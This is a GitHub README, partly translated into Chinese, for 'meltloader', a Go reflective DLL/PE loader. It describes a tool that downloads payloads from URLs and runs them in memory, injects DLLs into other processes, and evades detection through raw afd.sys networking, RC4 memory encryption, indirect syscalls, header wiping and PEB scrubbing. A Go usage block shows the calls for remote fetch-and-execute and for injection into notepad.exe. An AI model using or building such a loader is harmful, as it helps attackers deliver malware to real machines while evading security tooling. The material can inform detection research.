carved4/meltloader
GitHub: carved4/meltloader
一个基于 Go 的模块化反射 PE/DLL 加载器,通过 NT API、原始网络通信及内存加密技术在内存中链式加载载荷以规避检测。
Stars: 13 | Forks: 4
# meltloader
一个用 Go 编写的 Windows 反射式 DLL/PE 加载器,完全在内存中执行 PE 加载,具备自动内存管理和加密功能。
## 演示

## 概述
meltloader 使用 Windows NT API 调用来实现反射式 DLL/PE 加载,用于分配、写入和执行 PE 文件,而不接触磁盘。加载器处理 PE 解析、重定位处理、导入解析和内存保护更改,同时提供跟踪和清理功能。这应该允许您以模块化和安全的方式链式加载任意数量的 DLL,以执行各种操作 :3
加载器使用 Windows 提供的 SystemFunction032 RC4 加密来进行规避。下载的 DLL 在内存中始终是加密的,并在解密和执行之前有一个可选的休眠期,执行后,映射的 DLL 镜像会使用随机生成的密钥进行原地加密。这使得加载的 DLL 对内存分析工具不可读,同时保持适当的清理功能。
## 网络
所有网络 I/O 均通过直接针对 `\Device\Afd`(辅助功能驱动程序)的原始 NT API 调用完成,完全绕过 winsock、winhttp、wininet 和任何其他高级网络 API。afd.sys 套接字代码主要基于 [@vxunderground](x.com/vxunderground) 的工作,并在 Go 中进行了重写。这意味着:
- **无 IE/wininet 缓存** 下载从不接触 URL 缓存或临时 Internet 文件
- **无代理自动检测** 不进行 WPAD/PAC 查找或查询系统代理设置
- **无高级 API 挂钩** 避免对 WinHttpSendRequest、InternetOpenUrl 等的用户模式挂钩
- **无 winsock 目录** LSP 和 winsock 挂钩被完全绕过
- **最小 API 表面** 仅使用 NtCreateFile、NtDeviceIoControlFile 和 NtWaitForSingleObject 进行套接字操作
DNS 解析通过 TCP 执行,通过构建原始 DNS 查询并将其发送到 1.1.1.1。TLS 通过 schannel/sspi (InitializeSecurityContextW, EncryptMessage, DecryptMessage) 处理,并通过 crypt32 进行完整的证书链验证。HTTP 重定向链 (301-308) 会自动跟随,最多 10 跳。
仅支持 HTTPS。
## Go DLL 兼容性
也适用于 Go 编译的 DLL,请参阅 go-dll-src/ 作为参考
## API 使用
所有下载函数 (`LoadDLLFromURL`, `LoadPEFromUrl`) 都接受 `DownloadFunc` 参数,以便您可以将 `net.DownloadToMemory` 作为下载实现传递。
```
// load dll from url with export specification
mapping, err := pe.LoadDLLFromURL("https://example.com/dll.dll", "ExportedFunction", net.DownloadToMemory)
// load pe from url with optional sleep in seconds before execution
peMapping, err := pe.LoadPEFromUrl("https://example.com/file.exe", 2, net.DownloadToMemory)
// load pe from url without sleep
peMapping, err := pe.LoadPEFromUrl("https://example.com/file.exe", 0, net.DownloadToMemory)
// download raw bytes to memory for remote injection
buff, err := net.DownloadToMemory("https://example.com/file.dll")
// remote dll injection into another process
pid, pHandle, err := pe.FindTargetProcess("notepad.exe")
if err != nil {
fmt.Println("failed to find process", err)
return
}
remoteBase, err := pe.LoadDLLRemote(pHandle, buff)
if err != nil {
fmt.Println("failed to load", err)
return
}
// check currently mapped dlls
baseAddrs, sizes, count := pe.GetMap()
fmt.Printf("currently have %d DLLs mapped:\n", count)
for i := 0; i < count; i++ {
fmt.Printf("DLL %d: Base=0x%X, Size=%d bytes\n", i, baseAddrs[i], sizes[i])
}
// check currently mapped pes
peBaseAddrs, peSizes, peCount := pe.GetPEMap()
fmt.Printf("currently have %d PEs mapped:\n", peCount)
for i := 0; i < peCount; i++ {
fmt.Printf("PE %d: Base=0x%X, Size=%d bytes\n", i, peBaseAddrs[i], peSizes[i])
}
// cleanup/unmap dll from memory (kills any threads still running in the region first)
err = pe.Melt(mapping)
// cleanup/unmap exe from memory (kills any threads still running in the region first)
err = pe.MeltPE(peMapping)
// cleanup/unmap remote dll
err = pe.MeltRemote(pHandle, remoteBase)
```
## 导出规范
`LoadDLLFromURL` 上的 `exportSpec` 字符串参数控制在加载后调用哪个导出:
- `"FuncName"` — 调用指定的导出函数
- `""` — 不调用任何导出,DLL 的 DllMain 仍会在加载期间通过 DLL_PROCESS_ATTACH 被调用
## 技术实现
加载器执行标准的反射式 DLL/PE 加载步骤:
PE 验证检查 DOS 和 NT 头的正确签名和偏移量。内存分配使用 NtAllocateVirtualMemory 和系统选择的地址。节映射将 PE 头和每个节复制到它们的虚拟地址。
重定位处理通过解析重定位表并更新所有绝对地址来处理基址更改。同时处理 IMAGE_REL_BASED_DIR64 和 IMAGE_REL_BASED_HIGHLOW 重定位以保持兼容性。导入解析遍历导入表,使用 LoadLibraryLdr 加载所需的库,并使用基于哈希的查找解析函数地址。api-set 架构重定向 (api-ms-win-*) 会自动解析到其支持 DLL。
**退出函数修补**:在 IAT 解析期间,对进程终止函数 (exit, ExitProcess, _exit, _Exit, quick_exit) 的任何引用都会自动替换为 ExitThread。这防止加载的 PE 终止整个加载器进程,确保它们仅退出其自己的线程。
内存保护更改在加载完成后使用 NtProtectVirtualMemory 从 PAGE_READWRITE 更改为适当的节保护 (PAGE_EXECUTE_READ, PAGE_READWRITE 等)。导出解析按名称搜索导出表以查找目标函数。
TLS 回调在入口点之前以正确的调用约定执行。PE 头在加载后被清零以避免检测。PEB 中的命令行参数被擦除以防止信息泄露。
内存跟踪为加载的 DLL 和 PE 维护单独的全局注册表,由读写互斥锁保护。每个映射存储基址和大小信息。Melt/MeltPE 函数通过 CreateToolhelp32Snapshot 和 NtQueryInformationThread 枚举当前进程中的所有线程,终止其起始地址落在映射区域内的任何线程,然后使用 NtFreeVirtualMemory 释放内存。这防止了由加载的 PE/DLL 生成的后台线程导致的段错误。
## 规避功能
加载器包含几种规避机制:
- **底层网络** 原始 afd.sys 套接字 I/O 和 schannel TLS 绕过所有高级网络 API、它们的挂钩、缓存和代理设置
- **内存加密** 下载的有效载荷通过 SystemFunction032 使用 RC4 加密,并在解密前可选择休眠
- **执行后加密** 映射的 DLL 镜像在执行后使用 RC4 和随机密钥进行原地加密
- **NT API 调用** 内存操作使用 NtAllocateVirtualMemory、NtWriteVirtualMemory、NtProtectVirtualMemory、NtFreeVirtualMemory 代替更高级别的 win32 API
- **间接系统调用** NT API 调用通过 ntdll 中找到的 syscall;ret gadgets 进行,以避免直接系统调用检测
- **无磁盘痕迹** 所有分配和操作完全在内存中进行
- **线程清理** Melt/MeltPE 在释放内存之前杀死映射区域内运行的线程,防止崩溃和悬空引用
- **头部擦除** PE 头在加载后被清零
- **PEB 清理** 命令行参数从进程环境块中被擦除
标签:AFD.SYS, DAST, DLL加载器, DNS 反向解析, EVTX分析, Go语言, PE加载, RC4加密, SystemFunction032, TCP DNS, Windows NT API, XML 请求, 代理, 内存加密, 内存管理, 原始套接字, 原生API, 反射式加载, 安全开发, 恶意软件分析, 无文件攻击, 无线攻击, 日志审计, 模块化加载, 知识库安全, 程序破解, 绕过Winsock, 网络信息收集, 规避检测, 远程进程